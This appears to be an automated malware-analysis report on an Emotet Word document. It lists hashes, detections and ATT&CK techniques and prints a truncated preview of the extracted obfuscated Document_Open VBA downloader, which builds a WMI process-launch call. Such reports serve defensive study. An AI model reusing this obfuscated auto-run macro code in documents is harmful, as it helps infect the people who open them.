Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 c77eaf188fc07e76…

MALICIOUS

Office (OLE)

171.8 KB Created: 2020-09-16 17:53:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: 71030984119f456797759382a88a8e97 SHA-1: fbd6f0f2d3c2af44d6ac6d53bdd8c944255d9ca9 SHA-256: c77eaf188fc07e760c49f0ff2b30bd44c79ea45afd7cc12146188bb0a7def341
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-9762403-0', strongly indicating the Emotet family. The presence of a Document_Open macro that utilizes CreateObject is a common Emotet technique for executing malicious code. The VBA script, though obfuscated, is designed to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-9762403-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9762403-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19075 bytes
SHA-256: 8652fa84bae7aecf6dc2e590de1592dcbeadd44b5d7c078d4a40653b6bbf7777
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Eg0ygoxuglv_wdy725"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Dp9l0fh5547 = Array(Lihv39jv8szsxuvo2 + "Wbgn8nvexi3u8Luf3n8amvrdx2qypv5 O06wdm6ayka" + Jvzcdp4b6jtq1jkxf, Fy0rmbv0bqt7nc, Mdh08qb1bekjfz.N8amemheb5p, R2bbnva34ilqp86 + "F7hcm67jxse Js08q7bsiw37i7 Gbwgcgnlaf_h W4o6rxpkkp_t6m5we")
End Sub


Attribute VB_Name = "Mdh08qb1bekjfz"
Attribute VB_Base = "0{1D9D15CC-CF85-4732-9097-8178CC4F73FB}{83660329-BD7A-4379-8491-394D813C6D3B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function N8amemheb5p()
On Error Resume Next
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
K64jnz6c1btca38i = 90
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
Xpncopeio9qcbqc1g = Csa5llaxtobq7 + Chr$(K64jnz6c1btca38i + (25))
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6KLgQYI43KDU1F dOF9KMS615NdO6GR4J2IL43N7AS2C8W3jSV6wL8KXUSURL"
YrnScuQN = Mid(BnbGuGVJS, 263, 1)
NCaUFDcPwj = Mid(BnbGuGVJS, 174, 2)
ULKiimLwvrT = Mid(BnbGuGVJS, 27, 1)
FLzQCnriXm = Mid(BnbGuGVJS, 81, 2)
EXbzRwE = Mid(BnbGuGVJS, 311, 1)
XbIuPdBS = Mid(BnbGuGVJS, 274, 2)
jkjzsiz = Mid(BnbGuGVJS, 26, 1)
JPwYuNZPjzi = Mid(BnbGuGVJS, 307, 1)
OOijpW = Mid(BnbGuGVJS, 1, 1)
pQfRfj = Mid(BnbGuGVJS, 286, 1)
jUSALRJa = Mid(BnbGuGVJS, 178, 2)
jpOSVN = Mid(BnbGuGVJS, 172, 1)
WRQIpdJ = YrnScuQN + NCaUFDcPwj + ULKiimLwvrT + FLzQCnriXm
Fhheyqm0x1wkofp4 = "PIZDECPIZDECwPIZDECiPIZDECnmPIZDECPIZDECgmPIZDECtPIZDECPIZDEC" + Xpncopeio9qcbqc1g + "PIZDECPIZDEC:PIZDECwPIZDECinPIZDECPIZDEC3PIZDEC2PIZDEC_PIZDEC" + Mdh08qb1bekjfz.A4fpccg_qhlgygk + "PIZDECroPIZDECPIZDECcePIZDECsPIZDECsPIZDEC"
   BnbGuGVJS = " 1M7L7DHMRVWZQ1TLKJSDT8BNh H6N2HL1Y0OQ97SPFKB4YW495KRJK86KX202VVRYMHGBWKOSPL2GN" _
 + "LuqAICDW2664JFV47G92MBMIT12DKLY8BA8TGEK468B0DW016URH0C3YJ9TO22EAXEXL1VUHSW7KH9UY9Y6PI8A52ICM" _
 + "jRhqQBhsD9EJKYG9PTSFP6LYVR4RVHEEULFAJCAT6IWLVR1JR6190N1CDU70UBVNL95PV083O2EM259698A7V87J6K
... (truncated)

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